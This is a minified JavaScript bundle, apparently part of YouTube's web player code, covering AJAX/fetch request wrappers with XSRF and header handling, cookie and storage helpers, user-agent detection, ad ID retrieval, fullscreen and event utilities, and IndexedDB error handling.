YD=function(x,T,t,u,H,I,E,Z){function e(){(l&&"readyState"in l?l.readyState:0)===4&&T&&g.Kr(T)(l)}
t=t===void 0?"GET":t;u=u===void 0?"":u;Z=Z===void 0?!1:Z;var l=xVf();if(!l)return null;"onloadend"in l?l.addEventListener("loadend",e,!1):l.onreadystatechange=e;g.R6("debug_forward_web_query_parameters")&&(x=TXv(x,window.location.search));l.open(t,x,!0);I&&(l.responseType=I);E&&(l.withCredentials=!0);t=t==="POST"&&(window.FormData===void 0||!(u instanceof FormData));if(H=owJ(x,H))for(var m in H)l.setRequestHeader(m,H[m]),"content-type"===m.toLowerCase()&&(t=!1);t&&l.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");if(Z&&"setAttributionReporting"in XMLHttpRequest.prototype){x={eventSourceEligible:!0,triggerEligible:!1};try{l.setAttributionReporting(x)}catch(d){XE(d)}}l.send(u);return l};
owJ=function(x,T){T=T===void 0?{}:T;var t=Hi(x),u=g.pr("INNERTUBE_CLIENT_NAME"),H=g.R6("web_ajax_ignore_global_headers_if_set"),I;for(I in tE3){var E=g.pr(tE3[I]),Z=I==="X-Goog-AuthUser"||I==="X-Goog-PageId";I!=="X-Goog-Visitor-Id"||E||(E=g.pr("VISITOR_DATA"));var e;if(!(e=!E)){if(!(e=t||(g.nq(x)?!1:!0))){e=x;var l;if(l=g.R6("add_auth_headers_to_remarketing_google_dot_com_ping")&&I==="Authorization"&&(u==="TVHTML5"||u==="TVHTML5_UNPLUGGED"||u==="TVHTML5_SIMPLY")&&fKf(e))e=Vt(g.Lq(5,e))||"",e=e.split("/"),
e="/"+(e.length>1?e[1]:""),l=e==="/pagead";e=l?!0:!1}e=!e}e||H&&T[I]!==void 0||u==="TVHTML5_UNPLUGGED"&&Z||(T[I]=E)}"X-Goog-EOM-Visitor-Id"in T&&"X-Goog-Visitor-Id"in T&&delete T["X-Goog-Visitor-Id"];if(t||!g.nq(x))T["X-YouTube-Utc-Offset"]=String(-(new Date).getTimezoneOffset());if(t||!g.nq(x)){try{var m=(new Intl.DateTimeFormat).resolvedOptions().timeZone}catch(d){}m&&(T["X-YouTube-Time-Zone"]=m)}document.location.hostname.endsWith("youtubeeducation.com")||!t&&g.nq(x)||(T["X-YouTube-Ad-Signals"]=
T9(Z2()));return T};
uj3=function(x,T){var t=g.nq(x);g.R6("debug_handle_relative_url_for_query_forward_killswitch")||!t&&Hi(x)&&(t=document.location.hostname);var u=Vt(g.Lq(5,x));u=(t=t&&(t.endsWith("youtube.com")||t.endsWith("youtube-nocookie.com")))&&u&&u.startsWith("/api/");if(!t||u)return x;var H=o6(T),I={};g.lg(spm,function(E){H[E]&&(I[E]=H[E])});
return $D(x,I)};
bP=function(x,T){T.method="POST";T.postParams||(T.postParams={});return g.Ur(x,T)};
it3=function(x,T){if(window.fetch&&T.format!=="XML"){var t={method:T.method||"GET",credentials:"same-origin"};T.headers&&(t.headers=T.headers);T.priority&&(t.priority=T.priority);x=$Vv(x,T);var u=Htm(x,T);u&&(t.body=u);T.withCredentials&&(t.credentials="include");var H=T.context||g.BX,I=!1,E;fetch(x,t).then(function(Z){if(!I){I=!0;E&&g.d2(E);var e=Z.ok,l=function(m){m=m||{};e?T.onSuccess&&T.onSuccess.call(H,m,Z):T.onError&&T.onError.call(H,m,Z);T.onFinish&&T.onFinish.call(H,m,Z)};
(T.format||"JSON")==="JSON"&&(e||Z.status>=400&&Z.status<500)?Z.json().then(l,function(){l(null)}):l(null)}}).catch(function(){T.onError&&T.onError.call(H,{},{})});
x=T.timeout||0;T.onFetchTimeout&&x>0&&(E=g.lP(function(){I||(I=!0,g.d2(E),T.onFetchTimeout.call(T.context||g.BX))},x))}else g.Ur(x,T)};
g.Ur=function(x,T){var t=T.format||"JSON";x=$Vv(x,T);var u=Htm(x,T),H=!1,I=IuV(x,function(e){if(!H){H=!0;Z&&g.d2(Z);var l=g.eF(e),m=null,d=400<=e.status&&e.status<500,M=500<=e.status&&e.status<600;if(l||d||M)m=Ewi(x,t,e,T.convertToSafeHtml);l&&(l=qX3(t,e,m));m=m||{};d=T.context||g.BX;l?T.onSuccess&&T.onSuccess.call(d,e,m):T.onError&&T.onError.call(d,e,m);T.onFinish&&T.onFinish.call(d,e,m)}},T.method,u,T.headers,T.responseType,T.withCredentials);
u=T.timeout||0;if(T.onTimeout&&u>0){var E=T.onTimeout;var Z=g.lP(function(){H||(H=!0,I.abort(),g.d2(Z),E.call(T.context||g.BX,I))},u)}return I};
$Vv=function(x,T){T.includeDomain&&(x=document.location.protocol+"//"+document.location.hostname+(document.location.port?":"+document.location.port:"")+x);var t=g.pr("XSRF_FIELD_NAME");if(T=T.urlParams)T[t]&&delete T[t],x=uP(x,T);return x};
Htm=function(x,T){var t=g.pr("XSRF_FIELD_NAME"),u=g.pr("XSRF_TOKEN"),H=T.postBody||"",I=T.postParams,E=g.pr("XSRF_FIELD_NAME"),Z;T.headers&&(Z=T.headers["Content-Type"]);T.excludeXsrf||g.nq(x)&&!T.withCredentials&&g.nq(x)!==document.location.hostname||T.method!=="POST"||Z&&Z!=="application/x-www-form-urlencoded"||T.postParams&&T.postParams[E]||(I||(I={}),I[t]=u);(g.R6("ajax_parse_query_data_only_when_filled")&&I&&Object.keys(I).length>0||I)&&typeof H==="string"&&(H=o6(H),g.V9(H,I),H=T.postBodyFormat&&
T.postBodyFormat==="JSON"?JSON.stringify(H):g.DH(H));I=H||I&&!g.z0(I);!ZtX&&I&&T.method!=="POST"&&(ZtX=!0,g.wF(Error("AJAX request with postData should use POST")));return H};
Ewi=function(x,T,t,u){var H=null;switch(T){case "JSON":try{var I=t.responseText}catch(E){throw u=Error("Error reading responseText"),u.params=x,XE(u),E;}x=t.getResponseHeader("Content-Type")||"";I&&x.indexOf("json")>=0&&(I.substring(0,5)===")]}'\n"&&(I=I.substring(5)),H=JSON.parse(I));break;case "XML":if(x=(x=t.responseXML)?jpf(x):null)H={},g.lg(x.getElementsByTagName("*"),function(E){H[E.tagName]=eO5(E)})}u&&luC(H);
return H};
luC=function(x){if(g.p4(x))for(var T in x)T==="html_content"||B53(T,"_html")?x[T]=Ld(x[T]):luC(x[T])};
qX3=function(x,T,t){if(T&&T.status===204)return!0;switch(x){case "JSON":return!!t;case "XML":return Number(t&&t.return_code)===0;case "RAW":return!0;default:return!!t}};
jpf=function(x){return x?(x=("responseXML"in x?x.responseXML:x).getElementsByTagName("root"))&&x.length>0?x[0]:null:null};
eO5=function(x){var T="";g.lg(x.childNodes,function(t){T+=t.nodeValue});
return T};
z9=function(x,T){var t=g.hq(T),u;return(new g.lf(function(H,I){t.onSuccess=function(E){g.eF(E)?H(new mV3(E)):I(new r2("Request failed, status="+jF(E),"net.badstatus",E))};
t.onError=function(E){I(new r2("Unknown request error","net.unknown",E))};
t.onTimeout=function(E){I(new r2("Request timed out","net.timeout",E))};
u=g.Ur(x,t)})).p_(function(H){if(H instanceof Pd){var I;
(I=u)==null||I.abort()}return MY(H)})};
g.kD=function(x,T,t,u){function H(Z,e,l){return Z.p_(function(m){if(e<=0||jF(m.xhr)===403)return MY(new r2("Request retried too many times","net.retryexhausted",m.xhr,m));m=Math.pow(2,t-e+1)*l;var d=E>0?Math.min(E,m):m;return I(l).then(function(){return H(z9(x,T),e-1,d)})})}
function I(Z){return new g.lf(function(e){setTimeout(e,Z)})}
var E=E===void 0?-1:E;return H(z9(x,T),t-1,u)};
r2=function(x,T,t){M9.call(this,x+", errorCode="+T);this.errorCode=T;this.xhr=t;this.name="PromiseAjaxError"};
mV3=function(x){this.xhr=x};
FW=function(x){this.C=x===void 0?null:x;this.j=0;this.Z=null};
hg=function(x){var T=new FW;x=x===void 0?null:x;T.j=2;T.Z=x===void 0?null:x;return T};
vi=function(x){var T=new FW;x=x===void 0?null:x;T.j=1;T.Z=x===void 0?null:x;return T};
g.Ly=function(x,T,t,u,H){VX||G9.set(""+x,T,{X4:t,path:"/",domain:u===void 0?"youtube.com":u,secure:H===void 0?!1:H})};
g.ny=function(x,T){if(!VX)return G9.get(""+x,T)};
g.a6=function(x,T,t){VX||G9.remove(""+x,T===void 0?"/":T,t===void 0?"youtube.com":t)};
dV3=function(){if(g.R6("embeds_web_enable_cookie_detection_fix")){if(!g.BX.navigator.cookieEnabled)return!1}else if(!G9.isEnabled())return!1;if(!G9.isEmpty())return!0;g.R6("embeds_web_enable_cookie_detection_fix")?G9.set("TESTCOOKIESENABLED","1",{X4:60,foQ:"none",secure:!0}):G9.set("TESTCOOKIESENABLED","1",{X4:60});if(G9.get("TESTCOOKIESENABLED")!=="1")return!1;G9.remove("TESTCOOKIESENABLED");return!0};
g.N=function(x,T){if(x)return x[T.name]};
g2=function(x){var T=g.pr("INNERTUBE_HOST_OVERRIDE");T&&(x=String(T)+String(aZ(x)));return x};
MEH=function(x){var T={};g.R6("json_condensed_response")&&(T.prettyPrint="false");return x=$D(x,T)};
Bi=function(x,T){var t=t===void 0?{}:t;x={method:T===void 0?"POST":T,mode:Hi(x)?"same-origin":"cors",credentials:Hi(x)?"same-origin":"include"};T={};for(var u=g.S(Object.keys(t)),H=u.next();!H.done;H=u.next())H=H.value,t[H]&&(T[H]=t[H]);Object.keys(T).length>0&&(x.headers=T);return x};
Wi=function(){var x=/Chrome\/(\d+)/.exec(g.FF());return x?parseFloat(x[1]):NaN};
yX=function(){return g.D2("android")&&g.D2("chrome")&&!(g.D2("trident/")||g.D2("edge/"))&&!g.D2("cobalt")};
A_5=function(){return g.D2("armv7")||g.D2("aarch64")||g.D2("android")};
g.N2=function(){return g.D2("cobalt")};
Jg=function(){return g.D2("cobalt")&&g.D2("appletv")};
Cy=function(){return g.D2("(ps3; leanback shell)")||g.D2("ps3")&&g.N2()};
ROC=function(){return g.D2("(ps4; leanback shell)")||g.D2("ps4")&&g.N2()};
g.PNm=function(){return g.N2()&&(g.D2("ps4 vr")||g.D2("ps4 pro vr"))};
QX=function(){var x=/WebKit\/([0-9]+)/.exec(g.FF());return!!(x&&parseInt(x[1],10)>=600)};
py=function(){var x=/WebKit\/([0-9]+)/.exec(g.FF());return!!(x&&parseInt(x[1],10)>=602)};
SXH=function(){return g.D2("iemobile")||g.D2("windows phone")&&g.D2("edge")};
w2=function(){return(Or||fy)&&g.D2("applewebkit")&&!g.D2("version")&&(!g.D2("safari")||g.D2("gsa/"))};
XW=function(){return g.Ky&&g.D2("version/")};
xi=function(){return g.D2("smart-tv")&&g.D2("samsung")};
g.D2=function(x){var T=g.FF();return T?T.toLowerCase().indexOf(x)>=0:!1};
Tx=function(){return aSv()||w2()||XW()?!0:g.pr("EOM_VISITOR_DATA")?!1:!0};
ox=function(x,T){return T===void 0||T===null?x:T==="1"||T===!0||T===1||T==="True"?!0:!1};
tt=function(x,T,t){for(var u in t)if(t[u]==T)return t[u];return x};
sY=function(x,T){return T===void 0||T===null?x:Number(T)};
uj=function(x,T){return T===void 0||T===null?x:T.toString()};
$i=function(x,T){if(T){if(x==="fullwidth")return Infinity;if(x==="fullheight")return 0}return x&&(T=x.match(c_X))&&(x=Number(T[2]),T=Number(T[1]),!isNaN(x)&&!isNaN(T)&&x>0)?T/x:NaN};
Hc=function(x){var T=x.docid||x.video_id||x.videoId||x.id;if(T)return T;T=x.raw_player_response;T||(x=x.player_response)&&(T=JSON.parse(x));return T&&T.videoDetails&&T.videoDetails.videoId||null};
YXv=function(x){return ij(x,!1)==="EMBEDDED_PLAYER_MODE_PFL"};
g.Ix=function(x){return x==="EMBEDDED_PLAYER_LITE_MODE_FIXED_PLAYBACK_LIMIT"||x==="EMBEDDED_PLAYER_LITE_MODE_DYNAMIC_PLAYBACK_LIMIT"?!0:!1};
ij=function(x,T){T=(T===void 0?0:T)?"EMBEDDED_PLAYER_MODE_DEFAULT":"EMBEDDED_PLAYER_MODE_UNKNOWN";window.location.hostname.includes("youtubeeducation.com")&&(T="EMBEDDED_PLAYER_MODE_PFL");var t=x.raw_embedded_player_response;if(!t&&(x=x.embedded_player_response))try{t=JSON.parse(x)}catch(u){return T}return t?tt(T,t.embeddedPlayerMode,UVV):T};
qO=function(x){M9.call(this,x.message||x.description||x.name);this.isMissing=x instanceof EY;this.isTimeout=x instanceof r2&&x.errorCode=="net.timeout";this.isCanceled=x instanceof Pd};
EY=function(){M9.call(this,"Biscotti ID is missing from server")};
bt3=function(){if(g.R6("disable_biscotti_fetch_entirely_for_all_web_clients"))return Error("Biscotti id fetching has been disabled entirely.");if(!Tx())return Error("User has not consented - not fetching biscotti id.");var x=g.pr("PLAYER_VARS",{});if(g.kO(x,"privembed",!1)=="1")return Error("Biscotti ID is not available in private embed mode");if(YXv(x))return Error("Biscotti id fetching has been disabled for pfl.")};
FfV=function(){var x=bt3();if(x!==void 0)return MY(x);Z$||(Z$=z9("//googleads.g.doubleclick.net/pagead/id",r_J).then(zOH).p_(function(T){return kn5(2,T)}));
return Z$};
zOH=function(x){x=x.xhr.responseText;if(!cE(x,")]}'"))throw new EY;x=JSON.parse(x.substr(4));if((x.type||1)>1)throw new EY;x=x.id;ypi(x);Z$=vi(x);hO4(18E5,2);return x};
kn5=function(x,T){T=new qO(T);ypi("");Z$=hg(T);x>0&&hO4(12E4,x-1);throw T;};
hO4=function(x,T){g.lP(function(){z9("//googleads.g.doubleclick.net/pagead/id",r_J).then(zOH,function(t){return kn5(T,t)}).p_(g.qY)},x)};
vwv=function(){try{var x=g.yJ("yt.ads.biscotti.getId_");return x?x():FfV()}catch(T){return MY(T)}};
GnH=function(x){x&&(x.dataset?x.dataset[VEq()]="true":YdH(x))};
Lf3=function(x){return x?x.dataset?x.dataset[VEq()]:x.getAttribute("data-loaded"):null};
VEq=function(){return nw5.loaded||(nw5.loaded="loaded".replace(/\-([a-z])/g,function(x,T){return T.toUpperCase()}))};
aum=function(){var x=document;if("visibilityState"in x)return x.visibilityState;var T=j$+"VisibilityState";if(T in x)return x[T]};
e$=function(x,T){var t;h2(x,function(u){t=T[u];return!!t});
return t};
lj=function(x){if(x.requestFullscreen)x=x.requestFullscreen(void 0);else if(x.webkitRequestFullscreen)x=x.webkitRequestFullscreen();else if(x.mozRequestFullScreen)x=x.mozRequestFullScreen();else if(x.msRequestFullscreen)x=x.msRequestFullscreen();else if(x.webkitEnterFullscreen)x=x.webkitEnterFullscreen();else return Promise.reject(Error("Fullscreen API unavailable"));return x instanceof Promise?x:Promise.resolve()};
MO=function(x){var T;g.mW()?dx()==x&&(T=document):T=x;return T&&(x=e$(["exitFullscreen","webkitExitFullscreen","mozCancelFullScreen","msExitFullscreen"],T))?(T=x.call(T),T instanceof Promise?T:Promise.resolve()):Promise.resolve()};
gwm=function(x){return g.Oh(["fullscreenchange","webkitfullscreenchange","mozfullscreenchange","MSFullscreenChange"],function(T){return"on"+T.toLowerCase()in x})};
BX4=function(){var x=document;return g.Oh(["fullscreenerror","webkitfullscreenerror","mozfullscreenerror","MSFullscreenError"],function(T){return"on"+T.toLowerCase()in x})};
g.mW=function(){return!!e$(["fullscreenEnabled","webkitFullscreenEnabled","mozFullScreenEnabled","msFullscreenEnabled"],document)};
dx=function(x){x=x===void 0?!1:x;var T=e$(["fullscreenElement","webkitFullscreenElement","mozFullScreenElement","msFullscreenElement"],document);if(x)for(;T&&T.shadowRoot;)T=T.shadowRoot.fullscreenElement;return T?T:null};
At=function(x){this.type="";this.state=this.source=this.data=this.currentTarget=this.relatedTarget=this.target=null;this.charCode=this.keyCode=0;this.metaKey=this.shiftKey=this.ctrlKey=this.altKey=!1;this.rotation=this.clientY=this.clientX=0;this.scale=1;this.changedTouches=this.touches=null;try{if(x=x||window.event){this.event=x;for(var T in x)T in Wf3||(this[T]=x[T]);this.scale=x.scale;this.rotation=x.rotation;var t=x.target||x.srcElement;t&&t.nodeType==3&&(t=t.parentNode);this.target=t;var u=x.relatedTarget;
if(u)try{u=u.nodeName?u:null}catch(H){u=null}else this.type=="mouseover"?u=x.fromElement:this.type=="mouseout"&&(u=x.toElement);this.relatedTarget=u;this.clientX=x.clientX!=void 0?x.clientX:x.pageX;this.clientY=x.clientY!=void 0?x.clientY:x.pageY;this.keyCode=x.keyCode?x.keyCode:x.which;this.charCode=x.charCode||(this.type=="keypress"?this.keyCode:0);this.altKey=x.altKey;this.ctrlKey=x.ctrlKey;this.shiftKey=x.shiftKey;this.metaKey=x.metaKey;this.C=x.pageX;this.Z=x.pageY}}catch(H){}};
DVf=function(x){if(document.body&&document.documentElement){var T=document.body.scrollTop+document.documentElement.scrollTop;x.C=x.clientX+(document.body.scrollLeft+document.documentElement.scrollLeft);x.Z=x.clientY+T}};
y_5=function(x,T,t,u){u=u===void 0?{}:u;x.addEventListener&&(T!="mouseenter"||"onmouseenter"in document?T!="mouseleave"||"onmouseenter"in document?T=="mousewheel"&&"MozBoxSizing"in document.documentElement.style&&(T="MozMousePixelScroll"):T="mouseout":T="mouseover");return rg(Rx,function(H){var I=typeof H[4]==="boolean"&&H[4]==!!u,E=g.p4(H[4])&&g.p4(u)&&g.Fn(H[4],u);return!!H.length&&H[0]==x&&H[1]==T&&H[2]==t&&(I||E)})};
g.Pc=function(x,T,t,u){u=u===void 0?{}:u;if(!x||!x.addEventListener&&!x.attachEvent)return"";var H=y_5(x,T,t,u);if(H)return H;H=++NXD.count+"";var I=!(T!="mouseenter"&&T!="mouseleave"||!x.addEventListener||"onmouseenter"in document);var E=I?function(Z){Z=new At(Z);if(!HQ(Z.relatedTarget,function(e){return e==x},!0))return Z.currentTarget=x,Z.type=T,t.call(x,Z)}:function(Z){Z=new At(Z);
Z.currentTarget=x;return t.call(x,Z)};
E=g.Kr(E);x.addEventListener?(T=="mouseenter"&&I?T="mouseover":T=="mouseleave"&&I?T="mouseout":T=="mousewheel"&&"MozBoxSizing"in document.documentElement.style&&(T="MozMousePixelScroll"),J_q()||typeof u==="boolean"?x.addEventListener(T,E,u):x.addEventListener(T,E,!!u.capture)):x.attachEvent("on"+T,E);Rx[H]=[x,T,t,E,u];return H};
Qpm=function(x){return CN3(x,function(T){return g.sR(T,"ytp-ad-has-logging-urls")})};
CN3=function(x,T){var t=document.body||document;return g.Pc(t,"click",function(u){var H=HQ(u.target,function(I){return I===t||T(I)},!0);
H&&H!==t&&!H.disabled&&(u.currentTarget=H,x.call(H,u))})};
g.S$=function(x){x&&(typeof x=="string"&&(x=[x]),g.lg(x,function(T){if(T in Rx){var t=Rx[T],u=t[0],H=t[1],I=t[3];t=t[4];u.removeEventListener?J_q()||typeof t==="boolean"?u.removeEventListener(H,I,t):u.removeEventListener(H,I,!!t.capture):u.detachEvent&&u.detachEvent("on"+H,I);delete Rx[T]}}))};
cc=function(x){for(var T in Rx)Rx[T][0]==x&&g.S$(T)};
Yi=function(x){x=x||window.event;var T;x.composedPath&&typeof x.composedPath==="function"?T=x.composedPath():T=x.path;T&&T.length?x=T[0]:(x=x||window.event,x=x.target||x.srcElement,x.nodeType==3&&(x=x.parentNode));return x};
UY=function(x){this.N=x;this.C=null;this.K=0;this.D=null;this.T=0;this.Z=[];for(x=0;x<4;x++)this.Z.push(0);this.j=0;this.jY=g.Pc(window,"mousemove",(0,g.K4)(this.S,this));this.J=g.mF((0,g.K4)(this.ZZ,this),25)};
bj=function(x){g.W.call(this);this.N=[];this.Lz=x||this};
rx=function(x,T,t,u){for(var H=0;H<t.length;H++)x.V(T,t[H],u)};
g.zx=function(x,T){for(;x.N.length;){var t=x.N.pop(),u=void 0;T&&ps5()&&(u={passive:!0});t.target.removeEventListener(t.name,t.callback,u)}};
ki=function(x){x=x||{};var T={},t={};this.url=x.url||"";this.args=x.args||g.hq(T);this.assets=x.assets||{};this.attrs=x.attrs||g.hq(t);this.fallback=x.fallback||null;this.fallbackMessage=x.fallbackMessage||null;this.html5=!!x.html5;this.disable=x.disable||{};this.loaded=!!x.loaded;this.messages=x.messages||{}};
Otf=function(x){x instanceof ki||(x=new ki(x));return x};
g.vc=function(x,T,t){var u=t&&t>0?t:0;t=u?Date.now()+u*1E3:0;if((u=u?(0,g.FM)():ht())&&window.JSON){typeof T!=="string"&&(T=JSON.stringify(T,void 0));try{u.set(x,T,t)}catch(H){u.remove(x)}}};
g.VT=function(x){var T=ht(),t=(0,g.FM)();if(!T&&!t||!window.JSON)return null;try{var u=T.get(x)}catch(H){}if(typeof u!=="string")try{u=t.get(x)}catch(H){}if(typeof u!=="string")return null;try{u=JSON.parse(u,void 0)}catch(H){}return u};
fuq=function(){var x=(0,g.FM)();if(x&&(x=x.Z("yt-player-quality")))return x.creation};
g.Gx=function(x){try{var T=ht(),t=(0,g.FM)();T&&T.remove(x);t&&t.remove(x)}catch(u){}};
g.LS=function(){return g.VT("yt-remote-session-screen-id")};
wsf=function(x){var T=this;this.Z=void 0;this.C=!1;x.addEventListener("beforeinstallprompt",function(t){t.preventDefault();T.Z=t});
x.addEventListener("appinstalled",function(){T.C=!0},{once:!0})};
nS=function(){if(!g.BX.matchMedia)return"WEB_DISPLAY_MODE_UNKNOWN";try{return g.BX.matchMedia("(display-mode: standalone)").matches?"WEB_DISPLAY_MODE_STANDALONE":g.BX.matchMedia("(display-mode: minimal-ui)").matches?"WEB_DISPLAY_MODE_MINIMAL_UI":g.BX.matchMedia("(display-mode: fullscreen)").matches?"WEB_DISPLAY_MODE_FULLSCREEN":g.BX.matchMedia("(display-mode: browser)").matches?"WEB_DISPLAY_MODE_BROWSER":"WEB_DISPLAY_MODE_UNKNOWN"}catch(x){return"WEB_DISPLAY_MODE_UNKNOWN"}};
ax=function(){this.GD=!0};
Kfv=function(){ax.instance||(ax.instance=new ax);return ax.instance};
Xsf=function(x){switch(x){case "DESKTOP":return 1;case "UNKNOWN_PLATFORM":return 0;case "TV":return 2;case "GAME_CONSOLE":return 3;case "MOBILE":return 4;case "TABLET":return 5}};
xBD=function(){this.C=g.pr("ALT_PREF_COOKIE_NAME","PREF");this.Z=g.pr("ALT_PREF_COOKIE_DOMAIN","youtube.com");var x=g.ny(this.C);x&&this.parse(x)};
g.Bc=function(){gx||(gx=new xBD);return gx};
g.Wc=function(x,T){return!!((TYf("f"+(Math.floor(T/31)+1))||0)&1<<T%31)};
yT=function(x,T){var t="f"+(Math.floor(x/31)+1);x=1<<x%31;var u=TYf(t)||0;u=T?u|x:u&~x;u===0?delete D$[t]:(T=u.toString(16),D$[t]=T.toString())};
NO=function(x){if(/^f([1-9][0-9]*)$/.test(x))throw Error("ExpectedRegexMatch: "+x);};
Jt=function(x){if(!/^\w+$/.test(x))throw Error("ExpectedRegexMismatch: "+x);};
TYf=function(x){x=D$[x]!==void 0?D$[x].toString():null;return x!=null&&/^[A-Fa-f0-9]+$/.test(x)?parseInt(x,16):null};
oPJ=function(){var x=g.BX.navigator;return x?x.connection:void 0};
scJ=function(){var x=oPJ();if(x){var T=tWH[x.type||"unknown"]||"CONN_UNKNOWN";x=tWH[x.effectiveType||"unknown"]||"CONN_UNKNOWN";T==="CONN_CELLULAR_UNKNOWN"&&x!=="CONN_UNKNOWN"&&(T=x);if(T!=="CONN_UNKNOWN")return T;if(x!=="CONN_UNKNOWN")return x}};
$Bf=function(){var x=oPJ();if(x!=null&&x.effectiveType)return uz3.hasOwnProperty(x.effectiveType)?uz3[x.effectiveType]:"EFFECTIVE_CONNECTION_TYPE_UNKNOWN"};
g.CS=function(x){var T=g.FD.apply(1,arguments);var t=Error.call(this,x);this.message=t.message;"stack"in t&&(this.stack=t.stack);this.args=[].concat(g.U(T));Object.setPrototypeOf(this,this.constructor.prototype)};
g.pS=function(){try{return g.QT(),!0}catch(x){return!1}};
g.QT=function(x){if(g.pr("DATASYNC_ID")!==void 0)return g.pr("DATASYNC_ID");throw new g.CS("Datasync ID not set",x===void 0?"unknown":x);};
OY=function(){this.C=new WeakMap};
g.wx=function(x,T,t){return fS(T,0,t)};
Hem=function(x){var T=g.yJ("yt.scheduler.instance.addImmediateJob");T?T(x):x()};
KS=function(){OY.apply(this,arguments)};
g.XM=function(){KS.instance||(KS.instance=new KS);return KS.instance};
g.x$=function(){return!!g.yJ("yt.scheduler.instance")};
fS=function(x,T,t){t!==void 0&&Number.isNaN(Number(t))&&(t=void 0);var u=g.yJ("yt.scheduler.instance.addJob");return u?u(x,T,t):t===void 0?(x(),NaN):g.lP(x,t||0)};
TG=function(x,T){(x=g.yJ("yt.scheduler.instance.setPriorityThreshold"))&&x(T)};
ou=function(x){this.C=(x=g.Le(x))?new zo(x):null;this.Z=document.domain||window.location.hostname};
sx=function(){var x;return(x=tS())==null?void 0:x.get("LAST_RESULT_ENTRY_KEY",!0)};
ief=function(){var x={};for(uo=new $$(x.handleError===void 0?Hy:x.handleError,x.logEvent===void 0?g.io:x.logEvent);Iu.length>0;)switch(x=Iu.shift(),x.type){case "ERROR":uo.o4(x.payload);break;case "EVENT":uo.logEvent(x.eventType,x.payload)}};
q4=function(x){Ex||(uo?uo.o4(x):(Iu.push({type:"ERROR",payload:x}),Iu.length>10&&Iu.shift()))};
Z_=function(x,T){Ex||(uo?uo.logEvent(x,T):(Iu.push({type:"EVENT",eventType:x,payload:T}),Iu.length>10&&Iu.shift()))};
jD=function(x){if(x.indexOf(":")>=0)throw Error("Database name cannot contain ':'");};
eD=function(x){return x.substr(0,x.indexOf(":"))||x};
g.lo=function(x,T,t,u,H){T=T===void 0?{}:T;t=t===void 0?Ioi[x]:t;u=u===void 0?EPV[x]:u;H=H===void 0?qR5[x]:H;g.CS.call(this,t,Object.assign({},{name:"YtIdbKnownError",isSw:self.document===void 0,isIframe:self!==self.top,type:x},T));this.type=x;this.message=t;this.level=u;this.C=H;Object.setPrototypeOf(this,g.lo.prototype)};
mP=function(x,T){g.lo.call(this,"MISSING_OBJECT_STORES",{expectedObjectStores:T,foundObjectStores:x},Ioi.MISSING_OBJECT_STORES);Object.setPrototypeOf(this,mP.prototype)};
dm=function(x,T){var t=Error.call(this);this.message=t.message;"stack"in t&&(this.stack=t.stack);this.index=x;this.objectStore=T;Object.setPrototypeOf(this,dm.prototype)};
AS=function(x,T,t,u){T=eD(T);var H=x instanceof Error?x:Error("Unexpected error: "+x);if(H instanceof g.lo)return H;x={objectStoreNames:t,dbName:T,dbVersion:u};if(H.name==="QuotaExceededError")return new g.lo("QUOTA_EXCEEDED",x);if(g.M4&&H.name==="UnknownError")return new g.lo("QUOTA_MAYBE_EXCEEDED",x);if(H instanceof dm)return new g.lo("MISSING_INDEX",Object.assign({},x,{objectStore:H.objectStore,index:H.index}));if(H.name==="InvalidStateError"&&ZeH.some(function(I){return H.message.includes(I)}))return new g.lo("EXECUTE_TRANSACTION_ON_CLOSED_DB",
x);
if(H.name==="AbortError")return new g.lo("UNKNOWN_ABORT",x,H.message);H.args=[Object.assign({},x,{name:"IdbError",yN:H.name})];H.level="WARNING";return H};
g.Ru=function(x,T,t){var u=sx();return new g.lo("IDB_NOT_SUPPORTED",{context:{caller:x,publicName:T,version:t,hasSucceededOnce:u==null?void 0:u.hasSucceededOnce}})};
jcf=function(x){if(!x)throw Error();throw x;};
eLD=function(x){return x};
Py=function(x){this.C=x};
g.SD=function(x){function T(H){if(u.state.status==="PENDING"){u.state={status:"REJECTED",reason:H};H=g.S(u.Z);for(var I=H.next();!I.done;I=H.next())I=I.value,I()}}
function t(H){if(u.state.status==="PENDING"){u.state={status:"FULFILLED",value:H};H=g.S(u.C);for(var I=H.next();!I.done;I=H.next())I=I.value,I()}}
var u=this;this.state={status:"PENDING"};this.C=[];this.Z=[];x=x.C;try{x(t,T)}catch(H){T(H)}};
loJ=function(x,T,t,u,H){try{if(x.state.status!=="FULFILLED")throw Error("calling handleResolve before the promise is fulfilled.");var I=t(x.state.value);I instanceof g.SD?cy(x,T,I,u,H):u(I)}catch(E){H(E)}};
mBi=function(x,T,t,u,H){try{if(x.state.status!=="REJECTED")throw Error("calling handleReject before the promise is rejected.");var I=t(x.state.reason);I instanceof g.SD?cy(x,T,I,u,H):u(I)}catch(E){H(E)}};
cy=function(x,T,t,u,H){T===t?H(new TypeError("Circular promise chain detected.")):t.then(function(I){I instanceof g.SD?cy(x,T,I,u,H):u(I)},function(I){H(I)})};
dBD=function(x,T,t){function u(){t(x.error);I()}
function H(){T(x.result);I()}
function I(){try{x.removeEventListener("success",H),x.removeEventListener("error",u)}catch(E){}}
x.addEventListener("success",H);x.addEventListener("error",u)};
MWH=function(x){return new Promise(function(T,t){dBD(x,T,t)})};
Y$=function(x){return new g.SD(new Py(function(T,t){dBD(x,T,t)}))};
Ux=function(x,T){return new g.SD(new Py(function(t,u){function H(){var I=x?T(x):null;I?I.then(function(E){x=E;H()},u):t()}
H()}))};
Awm=function(x,T){this.request=x;this.cursor=T};
RL4=function(x){return Y$(x).then(function(T){return T?new Awm(x,T):null})};
g.PYm=function(x){x.cursor.continue(void 0);return RL4(x.request)};
SR4=function(x,T){this.C=x;this.options=T;this.transactionCount=0;this.j=Math.round((0,g.bo)());this.Z=!1};
g.zG=function(x,T,t){x=x.C.createObjectStore(T,t);return new rm(x)};
k$=function(x,T){x.C.objectStoreNames.contains(T)&&x.C.deleteObjectStore(T)};
g.vy=function(x,T,t){return g.F3(x,[T],{mode:"readwrite",c9:!0},function(u){return g.hS(u.objectStore(T),t)})};
